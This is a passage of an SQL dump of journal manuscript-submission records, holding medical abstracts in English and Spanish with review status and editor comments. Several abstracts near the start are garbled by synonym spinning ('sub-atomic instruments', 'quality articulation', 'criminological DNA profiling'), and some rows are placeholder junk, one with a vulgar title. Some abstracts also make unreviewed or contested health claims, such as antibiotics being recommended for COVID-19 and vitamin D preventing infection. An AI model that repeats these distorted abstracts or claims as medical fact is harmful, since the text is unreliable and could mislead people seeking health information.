HLA counter acting agent testing or play out a physical crossmatch on confirmation serum before kidney relocate for COVID-19 recuperated patients. Information from countless patients with various socioeconomics required.','Kidney transplantation, organ allocation, virtual crossmatch, sensitization, COVID-19',3249,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12707,12970,971,0,'ipaclr-22-12707','Genome-wide DNA methylation profiling uncovers competitor biomarkers and plausible atomic system of metabolic disorder',NULL,13,0,'','Albeit atypical DNA methylation changes are altogether connected with the pathogenesis of numerous infections, little is had some significant awareness of the sub-atomic instruments fundamental communications between DNA methylation and quality articulation in metabolic condition (MetS). The point of this study was to distinguish biomarkers and sub-atomic components directed by DNA methylation in MetS. We profiled genome-wide DNA methylation utilizing the Infinium Methylation EPIC Bead ChIP and portrayed the transcriptome by RNA sequencing in our review populace contained subjects with MetS (n = 11) and controls (n = 9).','DNA methylation, transcriptome, hypermethylation',3249,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12708,12971,971,0,'ipaclr-22-12708','Hypertension and response to antihypertensive medication treatment are linked by a haplotype of inducible nitric oxide synthase',NULL,25,0,'','Hypertension is a multifactorial problem related with expanded inducible nitric oxide synthase (iNOS) articulation and action. While hereditary polymorphisms influence iNOS articulation, it isn\'t known whether iNOS quality polymorphisms influence the powerlessness to hypertension and the reactions to antihypertensive treatment. This study pointed toward evaluating whether iNOS polymorphisms ((CCTTT)n, g.- 1026C > A, and g.2087G > A) and haplotypes are related with hypertension and with responsiveness to medicate treatment. We concentrated on 115 all around controlled hypertensive patients (HTN), 82 hypertensive patients impervious to upgraded antihypertensive treatment (RHTN), and 113 normotensive sound subjects (NT).','Haplotype Hypertension Inducible nitric oxide synthase Polymorphisms Resistant hypertension',3249,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12709,12972,971,0,'ipaclr-22-12709','The effect of miniSTRs on criminological DNA profiling of touch DNA tests',NULL,11,0,'','The hypothetical benefits of miniSTRs are unquestionable. A few investigations show that miniSTRs are more touchy and hearty in the examination of low format and debased DNA. In this concentrate on we need to show the general advantage of involving miniSTRs in genuine legal casework tests and show the level of tests that advantage from examination with extra miniSTR loci as far as bringing about a valuable profile. The considered examples were 3064 touch DNA tests, investigated in our authorize routine scientific DNA profiling research facility between mid 2009 and mid 2013. Of these 3064 examples, 618 examples were examined utilizing 13 loci, 532 examples utilizing 15 loci and 1914 examples utilizing 20 loci of which 5 were the smaller than usual and midi-STR loci that were added to the drawn out European Standard Set (ESS). The review results show a little expanded achievement rate after execution of additional loci and a significantly more modest increment after the execution of the small scale and midi-STR investigation. The level of touch DNA tests that advantage from the examination of extra small scale and midi-STR loci is restricted.','amplicon, DNA tests, loci',3249,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12710,12973,971,0,'ipaclr-22-12710','Who said separating toxemia from COVID-19 contamination was easy?',NULL,12,0,'','Separating toxemia from clinical imitators during pregnancy (for example greasy liver infection, lupus, constant hypertension, kidney sickness) has never been simple. Late reports recommend COVID-19 contamination is an extra toxemia imitator. We tried to distinguish clinical phenotypic elements with potential to perceive COVID-19 from toxemia on clinical grounds alone.','toxaemia, Coronavirus, hypertension',3249,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12711,12974,45,0,'iphsj-22-12711','The truth about cancer and ‘motion’ as the primary cause of change on cells* ',NULL,14,1,'The truth about cancer and ‘motion’ as the primary cause of change on cells* ','Cancer is considered in our time another epidemic and terrifies people more than anything else: just because it implies painful and destructive evils. In one word: death! Death in itself “is a particular form of perishing and is contrary to life”.  It is a Latin word translated by the Greco-Roman philosopher Celsus about 47 A.D from the Greek word, karkinos, named by Hippocrates, who judged from the nature of ‘crabs’: their bites and their consequences. As such, it has a metaphorical meaning. Tumor, again, is translated from the Greek word, ogkos, meaning ‘swelling’ or ‘mass’ and a tumor contains billions of small cells (10⁹ cells/cm³).  For the same reason I will examine hereafter, some of the orthodox approaches and a new approach which is being developed in America and introduce my own approach. The first part overviews some of the new practices used against cancer while showing their implications; the second part shows the reality of cancer (its scale) on the world population and examines the meaning of the WHO on the causes of cancer and some new approaches; and finally, the third part introduces the meaning of ‘motion’ and shows the nature of cells and food in order to help the fight against cancer.        ','Cancer, mutations',643,NULL,'2022-04-06',NULL,'Submitted',14,NULL,'2022-05-27',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12712,12975,73,0,'ipjnn-22-12712','LETS STRIKE THE ICEBERG WITH THERAPY OF LIFE',NULL,2,2,'Detailed Exploration of Schizophrenia','Life was going at ease on the path but the Plans were otherwise. What were the changes that set in with advent of a disease, how it affected and whats the way ahead? The article is a pathfinder to people walking across the spheres of life alike in this age of rapid evolution.','VUCA- Volatile, uncertain, Complex and Ambiguous, Kundalini, Ashtanga Yoga, Bhakti (Devotion) , Gnana(knowledge),\r\nPrana(consciousness), Kriya yog (mindfulness), Childhood mentation, Autism Spectrum, Adolescent mindset, mindfulness ',5363,NULL,'2022-04-06',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12713,12966,45,0,NULL,'ada',NULL,24,0,'ada','ada','ada',5365,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12714,12966,45,0,NULL,'aku',NULL,15,0,'dasdas','aasxsac','asdas',5366,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12715,12966,45,0,NULL,'aku2323',NULL,1,0,'324234','32432432','324234',652,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12716,12966,45,0,NULL,'dasfasfa',NULL,14,0,'dsadas','sfasdasda','sadasd',386,NULL,'2022-04-06',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12717,12977,277,0,'ipadm-22-12717','EMPALAMIENTO POR TRAUMA CORTOPUNZANTE EN REGION TORACO ABDOMINAL, REPORTE DE UN CASO',NULL,2,0,' ','Introducción: Los casos en lo que ocurre empalamiento tienen una incidencia muy baja, sobre todo aquellos en los que esta comprometida más de una región anatómica. \r\nObjetivo presentación del caso: Dar a conocer a la comunidad científica un reporte de caso acerca de un caso de empalamiento y su conducta terapéutica\r\nPresentación del caso: En el siguiente reporte se dará a conocer el caso de un paciente de 57 años edad quien posterior a sufrir un accidente laboral, es transpasado por una varilla de hierro, provocándole así neumotorax izquierdo, herida ipsilateral en diafragma, quien fue manejado de manera multidisciplinariamente, con resultados satisfactorios para el paciente. \r\nConclusiones: Los casos de empalamiento siempre serán un reto en cuanto a la elección de la mejor conducta terapéutica, en el caso anterior se evidencio como un manejo integral con un grupo de especialistas capacitados, pudo verse reflejado en la evolución del paciente\r\n','Empalamiento, trauma, cortopunzante, turaco-abdominal ',5367,NULL,'2022-04-07',NULL,'Submitted',1,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12718,11103,277,0,'ipadm-22-12718','Eisenmenger\'s syndrome in adult patient with dyspnea',NULL,2,0,'','We present the case of a patient with a heart murmur since childhood who consulted for dyspnea on small efforts and edema in the lower extremities. An echo cardiogram was performed with evidence of atrial septal defect and severe pulmonary hypertension, and a diagnosis of Eisenmenger syndrome was made.','Adult; Eisenmenger syndrome; congenital heart disease',2805,NULL,'2022-04-07',NULL,'Submitted',2,NULL,'2022-05-25',NULL,1,1,'0','Accepted, also send us the response to the reviewer.',0,NULL,NULL,NULL,0,0,0,NULL,0),(12719,12978,277,0,'ipadm-22-12719','Apendicitis aguda en situs inversus totalis: reporte de un caso y revisión de literatura.',NULL,15,0,' ','El situs inversus es una condición poco común causada por una anomalía congénita que consiste en la posición invertida de órganos torácicos y/o abdominales con respecto al plano sagital, con una baja incidencia en la población general y usualmente de hallazgo incidental. Por otra parte, la apendicitis aguda es la inflamación aguda del apéndice vermiforme, siendo la patología quirúrgica abdominal más común en el mundo. Reportamos el caso de una paciente de sexo femenino de 43 años de edad sin antecedentes patológicos, quien acude a centro hospitalario en curso de dolor abdominal de inicio en epigastrio  con posterior migración  mesogastrio  y  fosa iliaca derecha, asociado a SIRS , anorexia y signos de irritación peritoneal, en quien se realizó apendicetomía abierta con la particularidad de  evidenciar en el acto intraoperatorio  complejo ileocecal  con características macroscópicas inflamatorias de localización izquierda  y  posición invertida del resto de  órganos intrabdominales, constituyendo una raro caso de apendicitis aguda en  situs inversus completo.','Apendicitis aguda, situs inversus, anomalía congénita',5370,NULL,'2022-04-08',NULL,'Submitted',2,NULL,'2022-06-23',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12720,12979,73,0,'ipjnn-22-12720','ISAAC Syndrome  ',NULL,2,0,'','ISSAC Syndrome is a form of peripheral nerve hyperexcitability caused by continuous muscle fiber activity. The patient usually presents with the complaints of twitching and stiffness. Symptoms such as myokymia and muscle spasm, may persist during sleep. The patients are reported to be CASPR2 antibody positive which is ought to be the pathogenic antibody in ISSAC Syndrome. The patients are commonly treated with immunomodulatory therapies which includes steroids, plasma exchange therapy and rituximab for nonresponsive cases. Treatment also includes symptomatic management which has no effect on disease progression.  ','',334,NULL,'2022-04-08',NULL,'Submitted',2,NULL,'2022-05-11',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12721,12982,277,0,'ipadm-22-12721','ASOCIACION ENTRE SINDROME DE GUILLAIN-BARRÉ Y APLICACION DE LA VACUNA JANSSEN',NULL,14,2,' ','Esta actualización se realizó con el fin, de establecer una asociación entre la aplicación de la vacuna jhanssen y el desarrollo del síndrome de Guillan- Barré. Materiales y métodos: Se realiza una búsqueda bibliográfica detallada de información publicada desde 2020, en las bases de datos Pubmed, Elsevier, Scielo, Update, Medline, bibliotecas nacionales e internacionales. Resultados: la FDA quien notifico la detección de 100 posibles casos del síndrome entre los 12.8 millones de personas que han recibido la vacuna de Janssen en Estados Unidos, es decir, que afectó al 0,0007 % del total. Discusión: la estimulación inmunitaria inducida por la vacunación teóricamente podría resultar en SGB a través de una variedad de posibles mecanismos. Conclusión: la respuesta inflamatoria que se desarrolla tras una infección de COVID-19 tendrian un efecto negativo sobre las células T activadas, que a su vez  liberan citocinas proinflamatorias, fijan el complemento, dañan las células de Schwann y finalmente producen la disolución de la mielina y como resultado potencial tenemos el desarrollo de síndrome de Guillian-Barre. ','Vacuna JANSSEN, Síndrome de Guillain-Barré, covid-19, nervios periféricos.',5371,NULL,'2022-04-12',NULL,'Submitted',19,NULL,'2022-09-20',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12723,12984,73,0,'ipjnn-22-12723','The role of meningeal lymphatic system in Alzheimer disease.',NULL,25,0,'','Alzheimer\'s disease is one of the most common neurodegenerative disorders that affects millions globally. It is characterized by loss of neurons, neurofibrillary tangles, and beta-amyloid accumulation, however, the mechanism behind these pathological features is still unclear. Recently, increasing evidence demonstrates the role of the meningeal lymphatic system (MLS) in cerebrospinal fluid (CSF) transportation, beta-amyloid clearance, and neuroinflammation. Thus, MLS may be considered a potential therapeutic target for neurodegenerative diseases. Here, we discuss the multiple functions of the meningeal lymphatic system and its potential role in the progression of Alzheimer\'s disease.','Alzheimer\'s disease, meningeal lymphatic vessels, neurodegeneration',350,NULL,'2022-04-13',NULL,'Submitted',2,NULL,'2022-06-29',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12724,12985,86,0,'ipaom-22-12724','Broadened scope and utility of frontal sinus morphology in Cleft Lip and Palate casesfor predicting the upcoming growth pattern and skeletal malocclusion.',NULL,14,0,'','Abstract:\r\n•	Background - The three dimensionally affected growth and development of craniofacial structures in CLCP leads to problems dealing with facial appearance, skeletal and dental malocclusion, feeding, airway, hearing, and speech.\r\n•	Objectives - Evaluation and utilisation of frontal sinus morphology as a forecast of future growth for growth pattern and skeletal malocclusion in CLCP cases. \r\n•	Methodology–A 30 Cases from Skeletal Class I, III and CLCP were selected from Department of Orthodontics. Dimensions and area of frontal sinus is evaluated using 3DVT. Parameters are evaluated in sagittal and coronal section. The measurement\'s dependability wasdetermined using a reliability test (Cronbach alpha test). Chisquare Test, Tukey Test, One Way ANOVA, and Multiple Comparison were used to do descriptive and analytical statistics. \r\n•	Results - Frontal sinus dimensions when observed for Class III were found to be greater. Average dimensions were observed for skeletal Class I cases. Smallest dimensions were observed for CLCP cases.\r\n•	Conclusion - The morphology of the frontal sinusis evaluated in cleft cases for the upcoming growth pattern and skeletal malocclusion if is known during formulating a treatment plan for the three dimensionally affected jaw bases and craniofacial structure the requirement for later surgical intervention can be prevented.\r\n	','Keywords – CLCP, Frontal sinus, Skeletal Class III and Growth pattern.\r\n',3097,NULL,'2022-04-13',NULL,'Submitted',4,NULL,'2022-11-18',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12725,12986,86,0,'ipaom-22-12725','Blunt cannula subcision vs Nokor needle subcision: A review.',NULL,15,0,'','ABSTRACT\r\nPurpose: To evaluate and compare blunt cannula subcision with Nokor needle subcision.\r\nMethod: We did a systematic search over PubMed for clinical trials analysing the procedure, advantages, disadvantages, patient satisfaction and post operative complications of blunt cannula subcision and Nokor needle subcision. We gathered all the information on these two methods of subcision, created an inclusion criteria of age ranging from 18 to 65 with acne present in malar region and an exclusion criteria of patients with cardiac or skin disorders. After operation, satisfaction levels of patients and operators were recorded.\r\nResults: Considering all the factors stated in the article, blunt cannula was preferred by patients as well as cosmetic specialists over Nokor needle.\r\n\r\n','Keywords: subcision, blunt cannula subcision, Nokor needle subcision, cosmetics, acne, scars, skin depressions',5372,NULL,'2022-04-13',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'0','Kindly accept',0,'','',NULL,0,0,0,NULL,0),(12726,12987,86,0,'ipaom-22-12726','Comparison and evaluation of craniofacial morphology of Unilateral Cleft Lip and Cleft Palate and Skeletal Class III cases with Skeletal Class I cases using Enlows Counterpart Analysis – A Lateral Cephalometric study',NULL,14,2,'','Abstract- \r\nIntroduction- Alignment besides rotational relation of cranial base,mandible and maxilla  with each other is useful for knowing the contribution of bone to skeletal and dental basis in normal as well as  cases with craniofacial anomaly. The study describes and applies the procedure of craniofacial form and evaluation for individual based on counterpart analysis.\r\nAim- Using Enlow\'s Counterpart Analysis, examine and assess the craniofacial morphology of UCLP, skeletal class I and III. \r\nMaterial and Method:-A total of 66 participants aged 17 to 25 years old had their lateral cephalograms taken and separated into 3 groups, each with 22 subjects. The results of linear and angular measurements were assessed and analysed.\r\nResult- Skeletal and dental lengths of the maxilla and ramus from the cleftcases were similar to those in theclass I group, on the other hand the posterior maxillary vertical alignment and cranial floor were significantly greater in theskeletal class I and CLPcases.In the skeletal class III cases, a reduced score suggested a regressive inclination of PCF, indicating lower jaw protrusion. The PMV length was reduced in cleft cases, the ramus was oriented anteriorly, and ramus breadth was broader as compared to  the PCF horizontal length. The maxilla was more retrusive in cleft instances, according to a composite molar position study.\r\nConclusion:-Because the morphological characteristics of the mandible and maxilla is linked to the application of analogous assessment in medical care means that it is a valuable diagnostic tool for analysingskeletal balance in varied forms of cleft and other maxillofacial irregularities, since it is connected to that of the cranial base and one another.\r\n','one another.\r\nKeyword – Cleft Lip and Palate, Enlow\'s Counterpart Analysis, skeletal class I and III\r\n',2891,NULL,'2022-04-13',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12727,12983,73,0,'ipjnn-22-12727','Biomimetics of some active sites for non-heme iron enzyme: future approach',NULL,14,1,'Clinical Neurology and Translational Neuroscience','Pterin-dependent oxygenases, represented by aryl amino acid hydroxylases, are a small family of closely related enzymes essential for physiological processes that use tetrahydrobiopterin (BH4) as a cofactor. This class of enzymes includes phenylalanine hydroxylase (PAH), tyrosine hydroxylase (TH), and tryptophan hydroxylase (TPH) that perform aromatic hydroxylations of the corresponding amino acid, leading to the biosynthesis of several biogenic neurotransmitters such as serotonin, which are known to be involved in several physiological processes are [1-12]. Questions of enzymology have been the subject of several detailed articles. [13-17] Three-dimensional structures by X-ray diffraction are available for characterization of each of these three enzymes','Pterin-dependent oxygenases, Tetrahydrobiopterin, Tryptophan hydroxylase (',327,NULL,'2022-04-14',NULL,'Submitted',4,NULL,'2022-09-20',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12728,12988,86,0,'ipaom-22-12728','Is Bariatric surgery contributing to a decreasing trend in  Covid-19 infection and complication rate in Obese patients ?',NULL,15,0,'','The objective of this study is to identify bariatric surgery as a treatment  modality to reduce Covid-19 related morbidity, mortality and complication rate in the obese patients. This study involves the comparison of 2 researches in which Covid-19 affected patients were assessed for their severity of disease on the basis of their history of bariatric/ metabolic surgery (whether they had undergone bariatric surgery or not ) .The patients who had undergone bariatric procedure and their matched controls (both populations positive for Covid-19 infection) were compared to several variables like hospital admission , admission to ICU unit , need for mechanical ventilation & dialysis during hospitalization ,other morbidities and also mortality .The comparison of results showed that patients who underwent bariatric surgery had a better prognosis and a better profile( in terms of morbidity and complication rate and severity) as compared to their matched controls indicating an indirect role of bariatric surgery in alleviating the morbidities related with Covid-19 in an obese patient.','#bariatric #surgery #covid19 ',3641,NULL,'2022-04-15',NULL,'Submitted',2,NULL,'2022-07-04',NULL,1,1,'0','aacept',0,'','',NULL,0,0,0,NULL,0),(12733,12991,45,0,NULL,'daadd',NULL,1,0,'dada','daa','adad',5035,NULL,'2022-04-18',NULL,'Submitted',4,NULL,'2022-04-18',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12734,12992,45,0,NULL,'memek',NULL,23,0,'hahhahhahaha','ssss','sassaasas',5352,NULL,'2022-04-18',NULL,'Submitted',4,NULL,'2022-04-18',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12735,12993,45,0,'iphsj-22-12735','Analysis of the Drug Formulary Exclusions from a Patients Perspective SHORT TITLE: Formulary Exclusions Patient Perspective.',NULL,14,0,'','Objective: Pharmacy benefit management companies (PBMs) often determine medication reimbursement with formularies, which were initially intended to ensure use of the least-costly still effective medication. Today, formularies are designed to maximise concessions (ie. rebates and fees) from PBMs through the biopharmaceutical industry. Exclusions may no longer benefit patients by controlling costs, but rather serve to enhance the ability to drive the amount gained through rebate contracting. In this brief report, we evaluate excluded drugs on the only national formulary that is publicly available in the US from the perspective of whether or not the exlusion benefits patients.\r\nMethods: We analysed exclusions of the 2022 national formulary of the second-largest PBM in the US that is publicly available. We categorised substitutions as equivalent (same active agent used) vs therapeutic (different active agent). We evaluated each exclusion by potential clinical or economic outcomes from a patient perspective.  \r\nResults: Close to half (46%) of the 563 exclusions had questionable clinical or financial benefits to patients, requiring prescribers to choose treatments that may have adverse financial or medical outcomes for their patients. \r\nConclusions: Because patient co-pays and deductibles are based on retail prices, some formulary exclusions force patients to pay substantially more for a preferred drug than an excluded drug or use a medication with questionable medical benefit for their condition. Further research is needed to understand how many patients are affected by such exclusions.','Formulary, Pharmacy Benefits Management, Benefits, Formulary Exclusions, Insurance Policy, Prescription Drug Policy, Equivalent Substitution, Nonequivalent substitution',4076,NULL,'2022-04-19',NULL,'Submitted',2,NULL,'2022-05-04',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12737,12994,86,0,'ipaom-22-12737','Update on pleiotropic immunologic and potential antiviral effects of antibiotics and their clinical impact',NULL,19,0,'','While antibiotics are widely used as antimicrobial agents for treating a variety of bacterial infections, it has been reported that a majority of them also exert antiviral, anti-inflammatory, immunomodulatory, and antioxidant activities that may a significant role in alleviating many clinical disorders such as severe acute respiratory syndrome coronavirus 2 (SARS‐CoV‐2). Interestingly, literature mentioned that macrolide antibiotics (e.g., azithromycin) significantly reduce viral replication, downregulate the inflammatory cascade and excessive cytokine production, and decrease mortality. In the same line, fluoroquinolones as moxifloxacin and ciprofloxacin suppress COVID-19 replication, overproduction of nitric oxide in the lungs besides inhibiting inflammatory cell responses. Similarly, various antibiotics, such as doxycycline, clarithromycin, ceftriaxone, amoxicillin, amoxicillin-clavulanic acid, ampicillin, gentamicin, benzylpenicillin, piperacillin/tazobactam, ciprofloxacin, ceftazidime, cefepime, vancomycin, meropenem, and cefuroxime among others, were recommended for use in the management of COVID-19 owing to their pleiotropic activities. The current review illustrates the potential immunologic activities beyond the antibacterial effect of different antibiotics in clinical practice from the pharmacological point of view.','Antibiotic, COVID-19, Macrolides, Pleiotropic',5013,NULL,'2022-04-20',NULL,'Submitted',2,NULL,'2022-05-11',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12739,9267,45,0,'iphsj-23-12739','Botulinum Toxin as a Management for Scars after Cervical Disc Hernia Surgery',NULL,15,3,'','Currently within the operating rooms of our hospitals there are a number of patients requiring intervention for cervical disc pathologies, which at the time of performing the suturing process, a horizontal scar is acquired at the neck level; An injury that after not being successful an adequate resolution, both in the functional recovery of the entire cervical area as well as the disappearance of the pain suffered prior to intervention, results in serious consequences that surely affect not only the image of the patient but also the suffers, but also their psycho-emotional development and their social development. Studies have recently been published that support the use of botulinum toxin injection in the muscular area adjacent to the wounds, causing the immobilization of the wound and, with it, a significant improvement in the appearance of the final scar.','Key words: botulinum toxin, scarring, herniated disc, cervical wound, keloid.',5374,NULL,'2022-04-21',NULL,'Submitted',12,NULL,'2023-12-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12742,9267,45,0,'iphsj-23-12742','Elastography as a Method for the Detection of Breast Cancer',NULL,15,3,'','Breast cancer is a disease characterized by the increase and lack of control in the growth of mammary epithelial cells. In recent years, research has been carried out on new technologies with the aim of being more precise and less radical in the methods used for the diagnosis of breast cancer, where a new use of ultrasound based on the properties of elastic tissues emerged, a technology that uses the name of elastography, which greatly improves the accuracy of diagnosis, the development and application of elastography in the breast, it has made it possible to characterize the elasticity of lesions detected by B-mode (fundamentally nodules) and in certain cases to raise or lower the degree of suspicion of lesions initially assessed by B-mode and color Doppler, for breast cancer, has been shown that elastic ultrasound provides information on prognosis and response to neoadjuvant therapy, considering that cancer breast is a heterogeneous disease. Prognostic factors are represented by histological type, tumor size, histological grade, axillary lymph node metastasis and lymphatic vascular invasion, considering the above, when using this technique for early diagnosis, assess prognosis and grade of malignancy of the patients, thus achieving timely treatment which will allow a decrease in the morbidity and mortality of these patients.','Keywords: Elastography, breast cancer detection, breast cancer.',5375,NULL,'2022-04-21',NULL,'Submitted',12,NULL,'2023-12-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12743,11668,277,0,'ipadm-22-12743','EVALUACIÓN DE LOS NIVELES SERICOS DE VITAMINA D EN PACIENTES INFECTADOS CON COVID 19 EN UN HOSPITAL DE COLOMBIA',NULL,14,0,'','Introducción: La enfermedad originada por el covid 19 es una patologia que afecta no solo al sistema respiratorio, sino que también conduce a falla multiorgánica. Hasta la fecha actual en que se redacta este manuscrito, no existe ningun tratamiento eficaz\r\npara contrarrestarla, la prevención es la única forma de reducir el número de infectados y muertes product de esta. Los bajos niveles séricos de vitamina D se han asociado con una mayor susceptibilidad a la infección por la covid 19. Sin embargo, no\r\nhay evidencia concluyente sobre el papel de la vitamina D en esta infección.\r\n\r\nObjetivos del estudio: El objetivo de este estudio fue evaluar los niveles de vitamina D en pacientes infectados co la covid 19 y analizar su relacion con el curso de la enfermedad.\r\nMateriales y métodos: Se seleccionaron y analizaron retrospectivamente un total de 160 historias clínicas de pacientes con COVID-19 de un hospital de Colombia. La recolección de datos se llevó a cabo en el período comprendido entre el 09/4/2020 y el\r\n09/04/2021.\r\nResultados: La mediana de edad de los pacientes con covid 19 fue de 60 años. Los niveles de vitamin D fueron bajos en los pacientes con infectados con la covid 19, con una mediana de 15,2 ng / ml, pero por otro lado los niveles de ferritina sérica fueron\r\naltos en todos los pacientes con covid 19 con una mediana de 720,9 ng / ml. Estadisticamente se pudo concluir que existe una tasa significativamente más alta de desarrollar una forma grave de covid 19 en hombres en comparación con las mujeres,\r\nvalor de p &lt;0,001. El nivel de vitamina D en suero fue significativamente menor en los pacientes con covid 19 en comparación con el grupo control con un valor de p &lt;0,001. Se detectó una mayor reducción en los niveles de vitamin D en la forma mas severa de la enfermedad (valor de p 0.042). Y existieron niveles significativamente más bajos de vitamina D y niveles más altos de ferritina en los casos severos de covid-19, valores de p 0.018 y 0.001, respectivamente.\r\nConclusiones: Se pudo llegar a la conclusion que los niveles bajos de vitamina D en suero se asociaron significativamente con un mayor riesgo de adquirir una infección por covid 19 y desarrollar un curso mas grave de la enfermedad, que puede conducir incluso a la muerte. Por lo cual la suplementación con vitamina D proporcionaria niveles sericos de vitamina D para que se pueda prevenir la infección o minimizar la gravedad del covid 19.','Palabras clave: covid 19, deficiencia, vitamina D.',4825,NULL,'2022-04-22',NULL,'Submitted',1,NULL,'2022-08-19',NULL,1,1,'1','Manuscript with low content and without references.',0,NULL,NULL,NULL,0,0,0,NULL,0),(12745,9267,45,0,'iphsj-22-12745','BAKRI BALLOON AS LAST NON-SURGICAL THERAPEUTIC ACTION TO CONTROL POSTPARTUM HEMORRHAGE.',NULL,15,0,'ginecology','ABSTRACT\r\n\r\nPostpartum hemorrhage is defined as blood loss greater than 500 ml after vaginal delivery or 1000 ml after caesarean section. This alteration is among the most frequent obstetric complications and with the highest mortality rate, in fact, postpartum hemorrhage is currently one of the leading causes of maternal death worldwide, considering that 25% of maternal death is caused by this complication, that is why its early diagnosis and management should be known by any doctor, regardless of the level at which they are. It is also important to highlight the role of this complication, both due to its magnitude and the need to develop methods that manage to mitigate the problem, thus causing the existence of various tools available to avoid or minimize its occurrence, currently counting on multiple medical interventions , surgical and non-surgical potentially effective for its treatment, such as the Bakri Balloon. Which is considered a non-invasive, fast and safe method to treat postpartum hemorrhage mainly secondary to uterine atony.','Key words: Hemorrhage, Postpartum, Bakri balloon, Control, Blood loss, Therapeutic measure',5376,NULL,'2022-04-22',NULL,'Submitted',2,NULL,'2022-05-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12746,9267,45,0,'iphsj-22-12746','RELATIONSHIP BETWEEN ACRAL LENTIGINOUS MELANOMA AND EXPOSURE UV RADIATION',NULL,15,0,'','Background: Acral melanoma is a melanoma that occurs on the hands and feet, represents 2 to 3% of all new melanomas, for its diagnosis a narrow margin excisional biopsy is recommended. Ultraviolet radiation is classified as a complete carcinogen, because it is both a mutagen and a non-specific damaging agent and has both tumor initiator and tumor promoter properties.\r\nMethodology: A narrative review was carried out through various databases from January 2009 to January 2022; the search and selection of articles was carried out in journals indexed in English. Keywords were used: Melanoma, Acral, Ultraviolet.\r\nResults: Acral Lentiginous Melanoma, like mucosal melanomas, is a subtype of melanoma with low mutational load and does not present mutations induced by ultraviolet radiation that are commonly observed in other cutaneous malignant melanomas. Stress or shear force is considered one of the factors for the induction of Acral Lentiginous Melanoma, since the incidence is higher in the weight-bearing areas of the foot.\r\nConclusions: This review offers updated and detailed information on the association between acral lentiginous melanoma and ultraviolet exposure, as well as other factors as its triggers.','Keywords: Melanoma, Acral, Ultraviolet.',5374,NULL,'2022-04-22',NULL,'Submitted',2,NULL,'2022-05-30',NULL,1,1,'1','ACCEPT',0,NULL,NULL,NULL,0,0,0,NULL,0),(12747,9267,45,0,'iphsj-22-12747','USE OF ANTI-MONONUCLEAR ANTIBODIES AS THERAPY FOR COVID-19',NULL,15,0,'','The disease caused by a B-coronavirus, an RNA virus, had its beginnings in 2019 in Wuhan - China where a series of cases of pneumonia caused by this agent were identified, after sequencing the nucleic acid of the epithelial cells of the lower respiratory tract of 4 patients with confirmed pneumonia of unknown cause by real-time reverse transcription PCR at Beijing Hospital, a new betacoronavirus 2019-nCoV, which was later named SARS-CoV-2, was found. Currently there are only maintenance therapies and symptom management, since there are no exact therapies for the management of severe SarsCoV2 infection, antiviral drugs and other drugs used to manage the infection such as acyclovir, panciclovir, chloroquine are used , ganciclovir, remdesivir, nitazoxadine, corticosteroids among other medications currently used for symptom management- The use of neutralizing antibody therapy may alter the course of infection in an infected host, support viral shedding, or protect uninfected hosts exposed to the virus, therefore, this antibody, used alone or in combination, has the potential to prevent and treat COVID-19 and possibly other emerging human diseases caused by the subgenus Sarbecovirus, in addition to being a low-toxic drug and safe. its use in these patients.','Keywords: Severe Acute Respiratory Syndrome; Viral pneumonia; Coronavirus infections; Antibodies; Cytokines; lymphocytes; Vaccines; COVID-19 Treatment',4824,NULL,'2022-04-22',NULL,'Submitted',2,NULL,'2022-05-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12748,9267,45,0,'iphsj-22-12748','ACUTE APENDICITIS IN SITUS INVERSUS TOTALIS: A CASE REPORT AND LITERATURA REVIEW.',NULL,2,0,'','Abstract\r\nSitus inversus is a rare condition caused by a congenital anomaly that consists of the inverted position of thoracic and / or abdominal organs with respect to the sagittal plane, with a low incidence in the general population and usually incidental finding. On the other hand, acute appendicitis is the acute inflammation of the vermiform appendix, being the most common abdominal surgical pathology in the world. We report the case of a 43-year-old female patient with no medical history, who comes to a hospital in the course of abdominal pain 